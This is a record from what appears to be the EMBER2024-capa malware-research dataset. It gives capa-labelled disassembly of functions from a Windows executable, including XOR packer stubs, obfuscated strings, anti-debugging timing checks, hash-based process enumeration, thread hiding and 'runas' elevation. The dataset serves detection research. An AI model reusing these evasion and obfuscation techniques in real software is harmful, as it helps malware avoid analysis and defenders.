joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7cb71b11
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x60cb15b8
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push 0x103
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
add esp, 0xc
mov eax, 0x1c
mov byte [ebp - 0x10], 0
call sub.ntdll.dll__alloca_probe
mov edx, esp
test edx, edx
je 0x4010c1
mov esi, 0x40a0b8
mov eax, edx
sub esi, edx
mov edi, 0x1b
lea esp, [esp]
mov cl, byte [esi + eax]
xor cl, 0x86
mov byte [eax], cl
inc eax
dec edi
jne 0x401060
mov byte [edx + 0x1b], 0
xor eax, eax
cmp byte [eax + edx], 0x5c
jne 0x4010bb
mov cl, byte [eax + edx + 1]
lea edi, [eax + edx + 1]
cmp cl, 0x5c
je 0x4010ae
cmp cl, 0x72
jne 0x401090
mov byte [eax + edx], 0xd
jmp 0x4010ae
cmp cl, 0x6e
jne 0x40109b
mov byte [eax + edx], 0xa
jmp 0x4010ae
cmp cl, 0x74
jne 0x4010a6
mov byte [eax + edx], 9
jmp 0x4010ae
cmp cl, 0x22
jne 0x4010bb
mov byte [eax + edx], cl
mov ecx, 0x1b
sub ecx, eax
lea esi, [eax + edx + 2]
rep movsb byte es:[edi], byte [esi]
inc eax
cmp eax, 0x1b
jb 0x401072
push 0x104
lea eax, [ebp - 0x114]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x40114d
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4010e1
push 0x8003
lea ecx, [ebp - 0x10]
sub eax, edx
push ecx
push eax
lea edx, [ebp - 0x114]
push edx
call fcn.00402584
test eax, eax
je 0x40114d
push 8
lea eax, [ebp - 0x114]
lea edi, [ebp - 0x10]
call fcn.00402659
lea eax, [ebp - 0x114]
push eax
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x40113f
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
test ax, ax
je 0x40113f
xor esi, esi
mov eax, esi
lea esp, [ebp - 0x11c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 1
lea esp, [ebp - 0x11c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401550
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
xor ebx, ebx
call fcn.00403cf8
test eax, eax
je 0x40166a
push str.AP32
call fcn.00404864
add esp, 4
mov dword [0x420688], eax
cmp eax, 0xffffffff
je 0x40166a
push esi
mov esi, eax
cmp dword [0x420b94], ebx
jne 0x40159b
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x42042c], eax
mov dword [0x420b94], 1
push edi
xor edi, edi
test esi, esi
je 0x4015ca
mov ecx, dword [0x42042c]
lea eax, [esi + 0xc]
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4015ca
mov ecx, 0xabbabaab
mov dword [eax], esi
mov dword [eax + 4], ecx
mov dword [eax + esi + 8], ecx
lea edi, [eax + 8]
mov dword [0x420684], edi
test edi, edi
je 0x40166e
mov edx, dword [0x420688]
push edx
push edi
push 0x16116
push str.AP32
call fcn.004047e4
mov ecx, dword [0x420688]
add esp, 0x10
cmp eax, ecx
jne 0x40166e
mov eax, dword [0x420684]
test eax, eax
je 0x401661
test ecx, ecx
je 0x401661
mov esi, dword [eax + 0x3c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
mov edi, eax
rdtsc
xor dword [section..data], eax
mov dword [esi + 0x58], ecx
call ebx
mov ecx, dword [section..data]
xor ecx, eax
mov eax, 0x80008001
mul ecx
shr edx, 0xf
add edx, ecx
mov word [edi], dx
rdtsc
xor ecx, eax
mov dword [section..data], ecx
call ebx
mov ecx, dword [section..data]
xor ecx, eax
xor edx, edx
or edi, 0xffffffff
mov eax, ecx
div edi
mov dword [section..data], ecx
add eax, ecx
mov dword [esi], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov eax, ebx
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x401680
Capabilities:
Check if file exists
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov eax, 0x24
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401711
mov esi, 0x40a290
mov ecx, eax
sub esi, eax
mov edi, 0x23
lea ebx, [ebx]
mov dl, byte [esi + ecx]
xor dl, 0x86
mov byte [ecx], dl
inc ecx
dec edi
jne 0x4016b0
mov byte [eax + 0x23], 0
xor edx, edx
cmp byte [edx + eax], 0x5c
jne 0x40170b
mov cl, byte [edx + eax + 1]
lea edi, [edx + eax + 1]
cmp cl, 0x5c
je 0x4016fe
cmp cl, 0x72
jne 0x4016e0
mov byte [edx + eax], 0xd
jmp 0x4016fe
cmp cl, 0x6e
jne 0x4016eb
mov byte [edx + eax], 0xa
jmp 0x4016fe
cmp cl, 0x74
jne 0x4016f6
mov byte [edx + eax], 9
jmp 0x4016fe
cmp cl, 0x22
jne 0x40170b
mov byte [edx + eax], cl
mov ecx, 0x23
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, 0x23
jb 0x4016c2
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push eax
call ebx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4017ea
mov eax, 0x24
call sub.ntdll.dll__alloca_probe
mov edx, esp
test edx, edx
je 0x4017c1
mov esi, 0x40a2b4
mov eax, edx
sub esi, edx
mov edi, 0x23
lea esp, [esp]
mov cl, byte [esi + eax]
xor cl, 0x86
mov byte [eax], cl
inc eax
dec edi
jne 0x401760
mov byte [edx + 0x23], 0
xor eax, eax
cmp byte [eax + edx], 0x5c
jne 0x4017bb
mov cl, byte [eax + edx + 1]
lea edi, [eax + edx + 1]
cmp cl, 0x5c
je 0x4017ae
cmp cl, 0x72
jne 0x401790
mov byte [eax + edx], 0xd
jmp 0x4017ae
cmp cl, 0x6e
jne 0x40179b
mov byte [eax + edx], 0xa
jmp 0x4017ae
cmp cl, 0x74
jne 0x4017a6
mov byte [eax + edx], 9
jmp 0x4017ae
cmp cl, 0x22
jne 0x4017bb
mov byte [eax + edx], cl
mov ecx, 0x23
sub ecx, eax
lea esi, [eax + edx + 2]
rep movsb byte es:[edi], byte [esi]
inc eax
cmp eax, 0x23
jb 0x401772
push 0x104
lea eax, [ebp - 0x104]
push eax
push edx
call ebx
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4017ea
call fcn.00402fa5
test eax, eax
jne 0x401807
mov edx, dword [0x42067c]
neg edx
sbb edx, edx
and edx, 0x420690
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.00402ae2
push eax
call fcn.00403aa9
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401820
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push 0x11c
lea eax, [ebp - 0x158]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x158]
push ecx
mov dword [ebp - 0x158], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4018ba
cmp dword [ebp - 0x154], 6
jb 0x4018ba
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00403056
cmp eax, 0x2000
jae 0x4018ba
call fcn.00402030
test eax, eax
jne 0x4018ba
push 6
push eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x4018ba
lea edx, [ebp - 0x3c]
push edx
call fcn.00402370
test eax, eax
je 0x4018ac
lea esp, [esp]
lea esi, [ebp - 0x3c]
call fcn.00402530
test eax, eax
je 0x4018a0
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x4018c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, 0xc
call sub.ntdll.dll__alloca_probe
mov edi, esp
mov dword [ebp - 4], edi
test edi, edi
je 0x4019b1
mov al, byte [0x40a2d8]
xor al, 0x86
mov byte [edi], al
movzx ecx, byte [0x40a2d9]
xor cl, 0x86
mov byte [edi + 1], cl
movzx edx, byte [0x40a2da]
xor dl, 0x86
mov byte [edi + 2], dl
movzx ecx, byte [0x40a2db]
lea eax, [edi + 1]
xor cl, 0x86
mov byte [edi + 3], cl
movzx edx, byte [0x40a2dc]
xor dl, 0x86
mov byte [edi + 4], dl
movzx ecx, byte [0x40a2dd]
xor cl, 0x86
mov byte [edi + 5], cl
movzx edx, byte [0x40a2de]
xor dl, 0x86
mov byte [edi + 6], dl
movzx ecx, byte [0x40a2df]
xor cl, 0x86
mov byte [edi + 7], cl
movzx edx, byte [0x40a2e0]
xor dl, 0x86
mov byte [edi + 8], dl
or edx, 0xffffffff
mov byte [edi + 9], 0
sub edx, edi
jmp 0x401960
cmp byte [eax - 1], 0x5c
jne 0x4019a8
mov cl, byte [eax]
cmp cl, 0x5c
je 0x401996
cmp cl, 0x72
jne 0x401978
mov byte [eax - 1], 0xd
jmp 0x401996
cmp cl, 0x6e
jne 0x401983
mov byte [eax - 1], 0xa
jmp 0x401996
cmp cl, 0x74
jne 0x40198e
mov byte [eax - 1], 9
jmp 0x401996
cmp cl, 0x22
jne 0x4019a8
mov byte [eax - 1], cl
mov ecx, 9
sub ecx, edx
sub ecx, eax
lea esi, [eax + 1]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov edi, esp
inc eax
lea ecx, [edx + eax]
cmp ecx, 9
jb 0x401960
mov eax, 0xc
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x401a35
mov esi, 0x40a2e4
mov eax, ebx
sub esi, ebx
mov ecx, 0xb
nop
mov dl, byte [esi + eax]
xor dl, 0x86
mov byte [eax], dl
inc eax
dec ecx
jne 0x4019d0
mov byte [ebx + 0xb], cl
xor eax, eax
cmp byte [eax + ebx], 0x5c
jne 0x401a2f
mov cl, byte [eax + ebx + 1]
lea edx, [eax + ebx + 1]
cmp cl, 0x5c
je 0x401a1d
cmp cl, 0x72
jne 0x4019ff
mov byte [eax + ebx], 0xd
jmp 0x401a1d
cmp cl, 0x6e
jne 0x401a0a
mov byte [eax + ebx], 0xa
jmp 0x401a1d
cmp cl, 0x74
jne 0x401a15
mov byte [eax + ebx], 9
jmp 0x401a1d
cmp cl, 0x22
jne 0x401a2f
mov byte [eax + ebx], cl
mov ecx, 0xb
sub ecx, eax
lea esi, [eax + ebx + 2]
mov edi, edx
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
inc eax
cmp eax, 0xb
jb 0x4019e1
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x401a40
push edi
call esi
test eax, eax
jne 0x401a4e
push ebx
call esi
test eax, eax
je 0x401a5b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401a40
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.004026ba
mov dword [0x420408], eax
call fcn.004018c0
push 0x5217027e
call fcn.004029b2
test eax, eax
jne 0x401aca
cmp dword [0x420408], eax
jne 0x401aca
call fcn.0040284d
test eax, eax
jne 0x401aca
call fcn.00403e61
test eax, eax
jne 0x401b79
call fcn.004042cd
test eax, eax
jne 0x401b79
mov eax, 0xd2efc6c4
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe185bd8c
mov dword [esp + 0xc], 0xde1bacd2
mov dword [esp + 0x10], 0xf2eaa55e
mov dword [esp + 0x14], 0
xor esi, esi
push eax
call fcn.00402903
test eax, eax
je 0x401b04
call fcn.00402cea
mov eax, dword [esp + esi*4 + 8]
inc esi
test eax, eax
jne 0x401af5
call fcn.00401820
call section..text
test eax, eax
jne 0x401b79
call fcn.00401160
call fcn.00401550
test eax, eax
je 0x401b79
cmp dword [0x420684], 0
je 0x401b79
cmp dword [0x420688], 0
je 0x401b79
call fcn.00401680
test eax, eax
jne 0x401b5b
mov esi, dword [sym.imp.KERNEL32.dll_SwitchToThread]
lea ebx, [ebx]
call esi
call fcn.00401680
test eax, eax
je 0x401b50
cmp dword [0x42067c], 0
je 0x401b74
cmp dword [0x420680], 0
jne 0x401b74
call fcn.00403522
jmp 0x401b79
call fcn.00403728
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402370
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x41c
push esi
push 0x3c
xor esi, esi
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40251e
push 0x104
lea edx, [ebp - 0x210]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
test eax, eax
je 0x40251e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ebx, ebx
test eax, eax
je 0x4024ef
mov edx, 0x7fffffff
mov ecx, eax
xor edi, edi
cmp word [ecx], bx
je 0x4023f0
add ecx, 2
dec edx
jne 0x4023e3
jmp 0x4023f8
test edx, edx
jne 0x4024e3
mov edi, 0x80070057
xor esi, esi
mov ecx, edi
test edi, edi
jns 0x402407
xor esi, esi
test ecx, ecx
jne 0x402432
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrNIW]
push esi
lea ecx, [ebp - 0x210]
push ecx
push eax
call edi
test eax, eax
je 0x402432
push esi
push 0x405684
push eax
call edi
test eax, eax
je 0x402430
add eax, 2
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x402440
mov dword [ebp - 4], 0x405684
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x618
push 8
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402513
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x41c]
push eax
push 0x405688
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x20a
push 8
call ebx
push eax
call esi
mov esi, eax
test esi, esi
je 0x4024f9
push esi
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4024f9
push 0x4056b4
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x4024f9
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x14], edi
pop edi
pop ebx
mov dword [ecx + 0x10], esi
mov eax, 1
mov dword [ecx], 0x3c
mov dword [ecx + 0xc], str.runas
mov dword [ecx + 0x1c], 0
mov dword [ecx + 4], 0x40
pop esi
mov esp, ebp
pop ebp
ret 4
mov esi, 0x7fffffff
sub esi, edx
jmp 0x4023ff
mov ecx, 0x80070057
jmp 0x402405
push edi
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
test esi, esi
je 0x402513
push esi
push 0
call ebx
push eax
call edi
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x402530
Capabilities:
Create process on windows

Disassembly:
push edi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call edi
test eax, eax
jne 0x402556
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x4c7
jne 0x402555
push esi
call edi
test eax, eax
je 0x402545
pop ebx
mov eax, dword [esi + 0x38]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
test eax, eax
je 0x402574
mov ecx, dword [esi + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret
mov edx, dword [esi + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret
Function at 0x402584
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x402650
cmp dword [ebp + 0xc], esi
je 0x402650
cmp dword [ebp + 0x10], esi
je 0x402650
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x402633
cmp dword [ebp - 8], esi
je 0x402633
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x402633
cmp dword [ebp - 4], esi
je 0x402641
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x402633
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
je 0x402633
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x402633
inc ebx
cmp dword [ebp - 4], esi
je 0x402641
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x402650
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10

Function at 0x40273c
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push dword [esp + 0x20]
push edi
push edi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
cmp esi, edi
jne 0x402782
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x402794
push 0x1388
call ebp
push edi
push edi
push edi
push dword [esp + 0x20]
push edi
push edi
call ebx
mov esi, eax
cmp esi, edi
je 0x402794
push 4
push ebp
push 9
push esi
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push esi
call fcn.00402a54
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x40279d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
xor esi, esi
push 0x124
lea eax, [ebp - 0x128]
push esi
push eax
mov dword [ebp - 0x12c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4027d9
xor eax, eax
jmp 0x402847
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4027d5
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x40281f
push dword [ebp - 0x124]
push esi
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
jne 0x402833
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4027f5
jmp 0x40283f
push eax
call fcn.00402a54
mov esi, dword [ebp - 0x124]
push edi
call fcn.00402a54
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x402903
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and dword [ebp - 0x12c], 0
push esi
push edi
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402941
xor eax, eax
jmp 0x4029ac
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40293d
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402966
sub eax, edx
push 0
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.00404530
cmp eax, dword [ebp + 8]
je 0x40299e
lea eax, [ebp - 0x12c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40295d
jmp 0x4029a4
mov edi, dword [ebp - 0x124]
push esi
call fcn.00402a54
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x4029b2
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
and dword [esp], 0
push esi
push edi
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4029ee
xor eax, eax
jmp 0x402a4c
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4029ea
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a0d
sub eax, edx
push 0
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.00404530
cmp eax, dword [ebp + 8]
je 0x402a41
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402a06
jmp 0x402a44
xor edi, edi
inc edi
push esi
call fcn.00402a54
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x402a8a
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0xc
pop eax
xor edi, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402aad
push 9
pop ebx
mov edx, 0x4097b0
call fcn.0040449f
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x402ad6
mov ecx, dword [eax + 0x2c]
add ecx, esi
je 0x402ad6
push dword [ebp + 8]
push ecx
mov ecx, dword [eax + 0x1c]
call fcn.004046d2
mov edi, eax
mov eax, edi
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4